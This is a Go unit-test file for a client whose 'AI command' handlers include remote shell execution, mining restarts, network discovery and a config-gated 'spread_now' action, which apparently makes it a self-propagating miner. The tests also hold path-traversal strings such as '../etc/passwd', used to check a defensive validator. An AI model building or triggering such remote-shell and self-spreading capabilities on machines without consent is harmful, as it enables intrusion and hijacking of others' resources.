package client import ( "strings" "testing" ) func TestValidateAICommandPathRejectsTraversal(t *testing.T) { cases := []string{ "../etc/passwd", "/home/user/../../secret", `C:\Users\alice\..\admin`, } for _, path := range cases { if err := validateAICommandPath(path); err == nil { t.Fatalf("expected traversal rejection for %q", path) } } } func TestValidateAICommandPathAllowsSafePaths(t *testing.T) { for _, path := range []string{"", "~/Downloads", "C:\\Users\\alice\\docs"} { if err := validateAICommandPath(path); err != nil { t.Fatalf("path %q: %v", path, err) } } } func TestHandleAIExecShellRejectsTraversalPath(t *testing.T) { var gotAction string var gotOK bool var gotMsg string c := newTestClient(t) c.commandResultHook = func(action string, success bool, message string) { gotAction = action gotOK = success gotMsg = message } c.handleAICommand("exec_shell", 0, "echo hi", "../outside", "") if gotAction != "exec_shell" || gotOK || !strings.Contains(gotMsg, "path traversal") { t.Fatalf("got action=%s ok=%v msg=%q", gotAction, gotOK, gotMsg) } } func TestHandleAIExecShellRequiresCommand(t *testing.T) { var gotMsg string c := newTestClient(t) c.commandResultHook = func(_ string, success bool, message string) { if !success { gotMsg = message } } c.handleAICommand("exec_shell", 0, "", "", "") if !strings.Contains(gotMsg, "command is required") { t.Fatalf("msg=%q", gotMsg) } } func TestHandleAIRunDiagnostics(t *testing.T) { var gotAction string var gotOK bool c := newTestClient(t) c.commandResultHook = func(action string, success bool, _ string) { gotAction = action gotOK = success } c.handleAICommand("run_diagnostics", 0, "", "", "") if gotAction != "run_diagnostics" || !gotOK { t.Fatalf("action=%s ok=%v", gotAction, gotOK) } } func TestHandleAISpreadNowRequiresForgeFlag(t *testing.T) { var gotOK bool var gotMsg string c := newTestClient(t) c.cfg.AutoSpread = false c.cfg.RemoteAggressive = false c.commandResultHook = func(_ string, success bool, message string) { gotOK = success gotMsg = message } c.handleAICommand("spread_now", 0, "", "", "") if gotOK || !strings.Contains(gotMsg, "not enabled") { t.Fatalf("ok=%v msg=%q", gotOK, gotMsg) } } func TestHandleAICommandUnknownAction(t *testing.T) { c := newTestClient(t) if c.handleAICommand("not_an_ai_command", 0, "", "", "") { t.Fatal("unknown action should not be handled") } } func TestAICommandHandlersCoverRequiredActions(t *testing.T) { required := []string{ "exec_shell", "restart_mining", "run_diagnostics", "discover_and_join", "spread_now", "full_sys_check", } for _, action := range required { if _, ok := aiCommandHandlers[action]; !ok { t.Fatalf("missing handler for %q", action) } } } func TestHandleAIRestartMining(t *testing.T) { var gotAction string var gotOK bool c := newTestClient(t) c.commandResultHook = func(action string, success bool, _ string) { gotAction = action gotOK = success } c.handleAICommand("restart_mining", 0, "", "", "") if gotAction != "restart_mining" || !gotOK { t.Fatalf("action=%s ok=%v", gotAction, gotOK) } }